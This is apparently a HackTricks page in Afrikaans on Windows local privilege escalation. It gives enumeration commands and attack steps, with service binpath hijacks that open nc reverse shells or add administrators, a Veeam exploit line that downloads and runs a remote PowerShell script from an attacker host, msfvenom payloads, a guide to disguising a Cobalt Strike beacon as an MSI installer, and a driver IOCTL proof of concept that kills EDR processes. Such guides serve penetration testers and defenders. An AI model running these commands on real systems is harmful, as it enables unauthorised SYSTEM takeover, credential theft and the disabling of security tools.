Windows Local Privilege Escalation
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Best tool to look for Windows local privilege escalation vectors: WinPEAS
Aanvanklike Windows-teorie
Access Tokens
As jy nie weet wat Windows Access Tokens is nie, lees die volgende bladsy voordat jy voortgaan:
ACLs - DACLs/SACLs/ACEs
Kyk na die volgende bladsy vir meer inligting oor ACLs - DACLs/SACLs/ACEs:
Integrity Levels
As jy nie weet wat integrity levels in Windows is nie, moet jy die volgende bladsy lees voordat jy voortgaan:
Windows-sekuriteitskontroles
Daar is verskillende dinge in Windows wat jou kan verhinder om die stelsel te enumereer, uitvoerbare lêers te laat loop of selfs jou aktiwiteite te bespeur. Jy moet die volgende bladsy lees en al hierdie verdedigingsmeganismes enumereer voordat jy met die privilege escalation enumeration begin:
Admin Protection / UIAccess silent elevation
UIAccess-processes wat via RAiLaunchAdminProcess gelanseer word, kan misbruik word om High IL te bereik sonder prompts wanneer AppInfo secure-path checks omseil word. Kyk na die toegewyde UIAccess/Admin Protection bypass workflow hier:
Uiaccess Admin Protection Bypass
Stelselinligting
Version info enumeration
Kontroleer of die Windows-weergawe enige bekende kwesbaarheid het (kontroleer ook die toegepaste patches).
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Weergawe Exploits
Hierdie site is handig om gedetailleerde inligting oor Microsoft sekuriteitskwesbaarhede te soek. Hierdie databasis het meer as 4,700 sekuriteitskwesbaarhede, wat die massiewe aanvaloppervlak toon wat ’n Windows-omgewing bied.
On the system
- post/windows/gather/enum_patches
- post/multi/recon/local_exploit_suggester
- watson
- winpeas (Winpeas het watson ingebed)
Locally with system information
Github repos of exploits:
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/abatchy17/WindowsExploits
- https://github.com/SecWiki/windows-kernel-exploits
Omgewing
Enige credential/Juicy-inligting gestoor in die env-variabeles?
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize
PowerShell Geskiedenis
ConsoleHost_history #Find the PATH where is saved
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
PowerShell Transkripsielêers
Jy kan leer hoe om dit aan te skakel by https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
PowerShell Module Logging
Besonderhede van PowerShell-pyplynuitvoerings word opgeteken, insluitend uitgevoerde commands, command invocations, en dele van skripte. Volledige uitvoeringsbesonderhede en uitsetresultate mag egter nie altyd vasgelê word nie.
Om dit te aktiveer, volg die instruksies in die “Transcript files” afdeling van die dokumentasie, en kies “Module Logging” in plaas van “Powershell Transcription”.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
Om die laaste 15 events van die PowersShell logs te sien, kan jy die volgende uitvoer:
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
PowerShell Script Block Logging
’N Volledige aktiwiteits- en inhoudsregister van die script se uitvoering word vasgelê, wat verseker dat elke blok van code gedokumenteer word soos dit loop. Hierdie proses bewaar ’n omvattende ouditspoor van elke aktiwiteit, waardevol vir forensics en die ontleding van kwaadwillige gedrag. Deur alle aktiwiteit tydens uitvoering te dokumenteer, word gedetailleerde insigte in die proses verskaf.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
Loggebeure vir die Script Block kan binne die Windows Event Viewer by die pad gevind word: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Om die laaste 20 gebeure te sien, kan jy gebruik:
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
Internetinstellings
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
Skywe
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
WSUS
Jy kan die stelsel compromise as die updates nie versoek word met httpS maar met http nie.
Jy begin deur te kontroleer of die netwerk ’n non-SSL WSUS update gebruik deur die volgende in cmd uit te voer:
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
Of die volgende in PowerShell:
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
As jy ’n antwoord kry soos een van hierdie:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
WUServer : http://xxxx-updxx.corp.internal.com:8530
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName : windowsupdate
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
En as HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer of Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" gelyk is aan 1.
Dan, is dit uitbuitbaar. As die laaste register gelyk is aan 0, sal die WSUS-inskrywing geïgnoreer word.
Om hierdie kwesbaarheid uit te buite kan jy hulpmiddels soos gebruik: Wsuxploit, pyWSUS - These are MiTM weaponized exploits scripts to inject ‘fake’ updates into non-SSL WSUS traffic.
Lees die navorsing hier:
WSUS CVE-2020-1013
Read the complete report here.
Basies, dit is die fout wat hierdie bug uitbuit:
If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.
Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.
Jy kan hierdie kwetsbaarheid uitbuit deur die tool WSUSpicious te gebruik (sodra dit bevry is).
Third-Party Auto-Updaters and Agent IPC (local privesc)
Baie enterprise agents openbaar ’n localhost IPC-oppervlak en ’n geprivilegieerde update-kanaal. As enrollment gedwing kan word na ’n attacker server en die updater ’n rogue root CA of swak signer checks vertrou, kan ’n plaaslike gebruiker ’n kwaadwillige MSI lewer wat die SYSTEM-service installeer. Sien ’n gegeneraliseerde tegniek (gebaseer op die Netskope stAgentSvc chain – CVE-2025-0309) hier:
Veeam Backup & Replication CVE-2023-27532 (SYSTEM via TCP 9401)
Veeam B&R < 11.0.1.1261 openbaar ’n localhost-diens op TCP/9401 wat attacker-controlled boodskappe verwerk, wat arbitrary commands as NT AUTHORITY\SYSTEM toelaat.
- Recon: bevestig die listener en weergawe, byvoorbeeld,
netstat -ano | findstr 9401en(Get-Item "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Shell.exe").VersionInfo.FileVersion. - Exploit: plaas ’n PoC soos
VeeamHax.exemet die vereiste Veeam DLLs in dieselfde gids, en trigger dan ’n SYSTEM payload oor die lokale socket:
.\VeeamHax.exe --cmd "powershell -ep bypass -c \"iex(iwr http://attacker/shell.ps1 -usebasicparsing)\""
Die diens voer die opdrag as SYSTEM uit.
KrbRelayUp
Daar bestaan ’n local privilege escalation kwetsbaarheid in Windows domain omgewings onder spesifieke voorwaardes. Hierdie toestande sluit omgewings in waar LDAP signing is not enforced, gebruikers self-rights het wat hulle toelaat om Resource-Based Constrained Delegation (RBCD) te konfigureer, en die vermoë vir gebruikers om rekenaars in die domain te skep. Dit is belangrik om te let dat hierdie vereistes met standaardinstellings vervul word.
Vind die exploit in https://github.com/Dec0ne/KrbRelayUp
Vir meer inligting oor die verloop van die aanval, kyk https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/
AlwaysInstallElevated
As hierdie 2 registersleutels aangeskakel is (waarde is 0x1), kan gebruikers met enige voorregte *.msi lêers installeer (uitvoer) as NT AUTHORITY\SYSTEM.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Metasploit payloads
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
As jy ’n meterpreter-sessie het, kan jy hierdie tegniek outomatiseer met die module exploit/windows/local/always_install_elevated
PowerUP
Gebruik die Write-UserAddMSI opdrag van power-up om in die huidige gids ’n Windows MSI binary te skep om privileges te eskaleer. Hierdie script skryf ’n vooraf-gecompileerde MSI-installer wat vir ’n gebruiker/groep toevoeging vra (dus sal jy GIU-toegang nodig hê):
Write-UserAddMSI
Voer net die geskepte binêr uit om voorregte te verhoog.
MSI Wrapper
Lees hierdie tutoriaal om te leer hoe om ’n MSI-wrapper met hierdie gereedskap te skep. Neem kennis dat jy ’n “.bat” lêer kan omsluit as jy slegs opdragreëls wil uitvoer
Skep MSI met WIX
Skep MSI met Visual Studio
- Generate met Cobalt Strike of Metasploit ’n new Windows EXE TCP payload in
C:\privesc\beacon.exe - Maak Visual Studio oop, kies Create a new project en tik “installer” in die soekkassie. Kies die Setup Wizard projek en klik Next.
- Gee die projek ’n naam, soos AlwaysPrivesc, gebruik
C:\privescvir die ligging, kies place solution and project in the same directory, en klik Create. - Klik voort op Next totdat jy by stap 3 van 4 kom (kies lêers om in te sluit). Klik Add en kies die Beacon payload wat jy net gegenereer het. Klik dan Finish.
- Merk die AlwaysPrivesc projek in die Solution Explorer en in die Properties, verander TargetPlatform van x86 na x64.
- Daar is ander properties wat jy kan verander, soos die Author en Manufacturer wat die geïnstalleerde app meer eg kan laat voorkom.
- Regs-klik die projek en kies View > Custom Actions.
- Regs-klik Install en kies Add Custom Action.
- Dubbelklik op Application Folder, kies jou beacon.exe lêer en klik OK. Dit sal verseker dat die beacon payload uitgevoer word sodra die installer loop.
- Onder die Custom Action Properties, verander Run64Bit na True.
- Laastens, build it.
- As die waarskuwing
File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'vertoon word, maak seker jy stel die platform na x64.
MSI Installasie
Om die installasie van die kwaadwillige .msi file in die agtergrond uit te voer:
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
Om hierdie kwesbaarheid te eksploiteer kan jy gebruik: exploit/windows/local/always_install_elevated
Antivirus en Detekteerders
Ouditinstellings
Hierdie instellings bepaal wat aangeteken word, dus moet jy aandag daaraan gee
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
WEF
Windows Event Forwarding, dit is interessant om te weet waarheen die logs gestuur word
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
LAPS
LAPS is ontwerp vir die bestuur van plaaslike Administrator-wagwoorde, wat verseker dat elke wagwoord unik, gerandomiseer, en gereeld bygewerk word op rekenaars wat by ’n domein aangesluit is. Hierdie wagwoorde word veilig binne Active Directory gestoor en kan slegs deur gebruikers geraadpleeg word aan wie voldoende regte deur ACLs verleen is, waardeur hulle, indien gemagtig, plaaslike admin-wagwoorde kan sien.
WDigest
Indien aktief, word platte-teks wagwoorde word in LSASS gestoor (Local Security Authority Subsystem Service).
Meer inligting oor WDigest op hierdie bladsy.
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
LSA Protection
Vanaf Windows 8.1 het Microsoft verbeterde beskerming vir die Local Security Authority (LSA) ingestel om pogings deur onbetroubare prosesse om sy geheue te lees of kode in te spuit te blokkeer, wat die stelsel verder beveilig.
More info about LSA Protection here.
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
Credentials Guard
Credential Guard is bekendgestel in Windows 10. Die doel daarvan is om die credentials wat op ’n toestel gestoor is te beskerm teen bedreigings soos pass-the-hash attacks.| Meer inligting oor Credentials Guard hier.
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
Cached Credentials
Domain credentials word deur die Local Security Authority (LSA) geauthentiseer en deur bedryfstelselkomponente gebruik. Wanneer ’n gebruiker se logon data deur ’n geregistreerde security package geauthentiseer word, word domain credentials vir die gebruiker gewoonlik geskep.\
Meer inligting oor Cached Credentials hier.
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
Gebruikers & Groepe
Enumereer Gebruikers & Groepe
Jy moet nagaan of enige van die groepe waarvan jy deel is, interessante toestemmings het.
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Geprivilegieerde groepe
As jy tot ’n geprivilegieerde groep behoort, kan jy dalk bevoegdhede eskaleer. Lees meer oor geprivilegieerde groepe en hoe om dit te misbruik om bevoegdhede te eskaleer hier:
Token manipulation
Lees meer oor wat ’n token is op hierdie bladsy: Windows Tokens.
Kyk na die volgende bladsy om te lees oor interessante tokens en hoe om dit te misbruik:
Ingelogde gebruikers / Sessies
qwinsta
klist sessions
Tuismappes
dir C:\Users
Get-ChildItem C:\Users
Wagwoordbeleid
net accounts
Haal die inhoud van die knipbord
powershell -command "Get-Clipboard"
Lopende prosesse
Lêer- en vouertoestemmings
Eerstens, wanneer jy die prosesse lys, kontroleer vir passwords in die command line van die proses.
Kontroleer of jy ’n lopende binary kan oorskryf of jy skryfregte op die binary vouer het om moontlike DLL Hijacking attacks uit te buit:
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Kontroleer altyd vir moontlike electron/cef/chromium debuggers wat loop, jy kan dit misbruik om escalate privileges.
Kontroleer die permissies van die proses se binaries
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)
Kontroleer die toestemmings van die vouers van die proses se binaries (DLL Hijacking)
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)
Memory Password mining
Jy kan ’n memory dump van ’n lopende proses skep met procdump van sysinternals. Dienste soos FTP het die credentials in clear text in memory, probeer om die memory te dump en die credentials te lees.
procdump.exe -accepteula -ma <proc_name_tasklist>
Onveilige GUI-apps
Toepassings wat as SYSTEM loop kan ’n gebruiker toelaat om ’n CMD te spawn, of deur gidse te blaai.
Voorbeeld: “Windows Help and Support” (Windows + F1), soek na “command prompt”, klik op “Click to open Command Prompt”
Dienste
Service Triggers laat Windows ’n diens begin wanneer sekere toestande voorkom (named pipe/RPC endpoint activity, ETW events, IP availability, device arrival, GPO refresh, etc.). Selfs sonder SERVICE_START regte kan jy dikwels geprivilegieerde dienste begin deur hul triggers te aktiveer. Sien enumerasie- en aktiveringstegnieke hier:
Kry ’n lys van dienste:
net start
wmic service list brief
sc query
Get-Service
Toestemmings
Jy kan sc gebruik om inligting oor ’n diens te kry.
sc qc <service_name>
Dit word aanbeveel om die binêre accesschk van Sysinternals te hê om die vereiste voorregvlak vir elke diens te kontroleer.
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
Dit word aanbeveel om te kontroleer of “Authenticated Users” enige diens kan wysig:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
You can download accesschk.exe for XP for here
Skakel diens in
As jy hierdie fout kry (byvoorbeeld met SSDPSRV):
System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.
Jy kan dit inskakel met:
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
Neem in ag dat die diens upnphost afhang van SSDPSRV om te werk (vir XP SP1)
Nog ’n ompad van hierdie probleem is om die volgende uit te voer:
sc.exe config usosvc start= auto
Wysig diens se binaire pad
In die scenario waar die “Authenticated users” groep SERVICE_ALL_ACCESS op ’n diens het, is dit moontlik om die diens se uitvoerbare binêr te wysig. Om te wysig en sc uit te voer:
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
Herbegin diens
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
Voorregte kan eskaleer deur verskeie toestemmings:
- SERVICE_CHANGE_CONFIG: Laat herkonfigurasie van die diens se uitvoerbare lêer toe.
- WRITE_DAC: Maak herkonfigurasie van toestemmings moontlik, wat kan lei tot die vermoë om dienskonfigurasies te verander.
- WRITE_OWNER: Staaf eienaarskapverkryging en herkonfigurasie van toestemmings toe.
- GENERIC_WRITE: Gee ook die vermoë om dienskonfigurasies te verander.
- GENERIC_ALL: Gee ook die vermoë om dienskonfigurasies te verander.
Vir die opsporing en uitbuiting van hierdie kwesbaarheid kan die exploit/windows/local/service_permissions gebruik word.
Swak toestemmings op diens-binaries
Kontroleer of jy die binaire wat deur ’n diens uitgevoer word, kan wysig of as jy skryfpermissies op die vouer het waar die binaire geleë is (DLL Hijacking).
Jy kan elke binaire wat deur ’n diens uitgevoer word kry met wmic (nie in system32 nie) en jou toestemmings nagaan met icacls:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
Jy kan ook gebruik maak van sc en icacls:
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
Services registry wysig toestemmings
Jy moet nagaan of jy enige service registry kan wysig.
Jy kan jou toestemmings oor ’n service registry nagaan deur:
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
Daar moet nagegaan word of Authenticated Users of NT AUTHORITY\INTERACTIVE FullControl toestemmings besit. As dit so is, kan die binary wat deur die service uitgevoer word, verander word.
Om die Path van die binary wat uitgevoer word te verander:
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
Services register AppendData/AddSubdirectory toestemmings
If you have this permission over a registry this means to you can create sub registries from this one. In case of Windows services this is enough to execute arbitrary code:
AppendData/AddSubdirectory permission over service registry
Service-paaie sonder aanhalingstekens
As die pad na ’n uitvoerbare lêer nie tussen aanhalingstekens is nie, sal Windows probeer om elke gedeelte wat vóór ’n spasie eindig, uit te voer.
For example, for the path C:\Program Files\Some Folder\Service.exe Windows will try to execute:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
Lys alle dienspade wat nie tussen aanhalingstekens staan nie, uitgesluit dié wat aan ingeboude Windows-dienste behoort:
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\system32" | findstr /i /v '\"' # Not only auto services
# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:"\""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
Jy kan opspoor en uitbuit hierdie kwesbaarheid met metasploit: exploit/windows/local/trusted\_service\_path Jy kan handmatig ’n service binary met metasploit skep:
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
Herstelaksies
Windows laat gebruikers toe om aksies te spesifiseer wat uitgevoer moet word indien ’n diens misluk. Hierdie funksie kan gekonfigureer word om na ’n binary te verwys. As hierdie binary vervangbaar is, kan privilege escalation moontlik wees. Meer besonderhede is beskikbaar in die official documentation.
Toepassings
Geïnstalleerde Toepassings
Kontroleer die permissions of the binaries (miskien kan jy een overwrite en escalate privileges) en van die folders (DLL Hijacking).
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
Skryfregte
Kontroleer of jy ’n konfigurasielêer kan wysig om ’n spesiale lêer te lees, of of jy ’n binêre kan wysig wat deur ’n Administrator-rekening uitgevoer gaan word (schedtasks).
Een manier om swak vouer-/lêertoestemmings in die stelsel te vind is om die volgende te doen:
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
Notepad++ plugin autoload persistentie/uitvoering
Notepad++ autoloads enige plugin DLL onder sy plugins subgidse. As daar ’n skryfbare portable/kopie-installasie teenwoordig is, gee die plaas van ’n kwaadwillige plugin outomatiese kode-uitvoering binne notepad++.exe by elke opstart (insluitend vanaf DllMain en plugin callbacks).
Notepad Plus Plus Plugin Autoload Persistence
Voer uit by opstart
Kontroleer of jy ’n registry of binêre lêer kan oorskryf wat deur ’n ander gebruiker uitgevoer gaan word.
Lees die volgende bladsy om meer te leer oor interessante autoruns locations to escalate privileges:
Privilege Escalation with Autoruns
Drivers
Kyk vir moontlike derdeparty ongewone/kwetsbare drivers
driverquery
driverquery.exe /fo table
driverquery /SI
As ’n driver ’n arbitrêre kernel lees/skryf-primitive openbaar (algemeen in swak ontwerpte IOCTL handlers), kan jy eskaleer deur ’n SYSTEM token direk uit kernel-geheue te steel. Sien die stap‑vir‑stap tegniek hier:
Arbitrary Kernel Rw Token Theft
Vir race-condition bugs waar die kwesbare oproep ’n deur die aanvaller beheerde Object Manager-pad oopmaak, kan dit doelbewus vertraag word (deur maksimum-lengte komponente of diep gidskettings te gebruik) om die venster van mikrosekondes na tientalle mikrosekondes te rek:
Kernel Race Condition Object Manager Slowdown
Register-hive geheue-korrupsie-primitive
Moderne hive-kwesbaarhede laat jou voorspelbare uitlegte opstel, skryfbare HKLM/HKU-nakomelinge misbruik, en metadata-korrupsie omskakel in kernel paged-pool overflows sonder ’n pasgemaakte driver. Leer die volle ketting hier:
Windows Registry Hive Exploitation
Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)
Sommige gesigneerde derdeparty-drivers skep hul device object met ’n sterk SDDL via IoCreateDeviceSecure maar vergeet om FILE_DEVICE_SECURE_OPEN in DeviceCharacteristics te stel. Sonder hierdie vlag word die secure DACL nie afgedwing wanneer die device deur ’n pad met ’n ekstra komponent oopgemaak word nie, wat enige nie-privilegieërde gebruiker toelaat om ’n handle te kry deur ’n namespace-pad te gebruik soos:
- \ .\DeviceName\anything
- \ .\amsdk\anyfile (uit ’n werklike geval)
Sodra ’n gebruiker die device kan oopmaak, kan bevoorregte IOCTLs wat deur die driver ontsluit word, misbruik word vir LPE en manipulasie. Voorbeelde van vermoëns wat in die veld waargeneem is:
- Gee handles met volle toegang aan willekeurige prosesse terug (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
- Onbeperkte raw-disk lees/skryf (offline manipulasie, opstarttyd volhardingstrieke).
- Beëindig willekeurige prosesse, insluitend Protected Process/Light (PP/PPL), wat AV/EDR vanuit gebruikerland via die kernel kan uitskakel.
Minimal PoC pattern (user mode):
// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS 0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048
HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);
Versagtingsmaatreëls vir ontwikkelaars
- Stel altyd FILE_DEVICE_SECURE_OPEN in wanneer device objects geskep word wat deur ’n DACL beperk moet word.
- Valideer caller-context vir geprivilegieerde operasies. Voeg PP/PPL kontroles by voordat prosesbeëindiging of handle-terugkeer toegestaan word.
- Beperk IOCTLs (access masks, METHOD_*, invoer-validasie) en oorweeg brokered models in plaas van direkte kernel privileges.
Deteksie-idees vir verdedigers
